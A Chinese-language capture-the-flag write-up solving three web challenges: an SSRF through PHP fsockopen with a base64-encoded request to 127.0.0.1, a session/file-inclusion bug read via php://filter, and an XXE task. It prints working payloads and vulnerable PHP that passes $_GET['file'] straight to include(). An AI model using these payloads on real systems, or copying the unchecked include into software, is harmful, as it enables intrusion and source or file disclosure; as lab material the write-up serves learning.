nssctf[HNCTF 2022 WEEK2]ez_ssrf,polarctf靶场web简单-session包含/web中等-xxe
1.nssctf[HNCTF 2022 WEEK2]ez_ssrf
首先dirsearch扫描一下

发现有flag.php打开后显示localhost
fsockopen() 函数是用于建立一个 socket 连接,一般出现这个函数都是有ssrf的
fsockopen(hostname, port, errno, errstr, timeout)
允许连接另一个服务器
设置主机为127.0.0.1 从而造成ssrf
参数:
hostname 如果安装了OpenSSL,那么你也许应该在你的主机名地址前面添加访问协议ssl://或者是tls://,从而可以使用基于TCP/IP协议的SSL或者TLS的客户端连接到远程主机。
port 端口号。如果对该参数传一个-1,则表示不使用端口,例如unix://。
errno 如果errno的返回值为0,而且这个函数的返回值为 FALSE ,那么这表明该错误发生在套接字连接(connect())调用之前,导致连接失败的原因最大的可能是初始化套接字的时候发生了错误。
errstr 错误信息将以字符串的信息返回。
timeout 设置连接的时限,单位为秒。
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
出来是R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
为什么不用在线base64编码呢,因为tmd格式一直不过,\r\n加了不行
那为什么port是80端口呢,因为80端口是 HTTP 服务的默认端口,其他的试了没回显
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

2.web简单-session包含
法一:
随便在输入框输入东西,出现两个链接,
随便点击任意一个url会变成如下形式
/action.php?file=2.txt
所以猜测存在文件包含
尝试使用伪协议读取action.php
file=php://filter/read=convert.base64-encode/resource=action.php
base64解码得到源码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>


3.xxe
点开phpinfo后ctrl+f查找flag,有一个,填一下是错的
用dirsearch扫一下

打开看看界面

loadXML()与题目呼应上了,
这是 PHP 的警告信息和DOMDocument对象的输出,核心是代码尝试用DOMDocument::loadXML()处理空字符串,导致触发警告,且 XML 解析失败。
把该页面放到bp

写上xml语句

然后第一页其实告诉了flag在哪里,直接看
用伪协议读取
php://filter/read=convert.base64-encode/resource=flagggg.php

最后解码即可
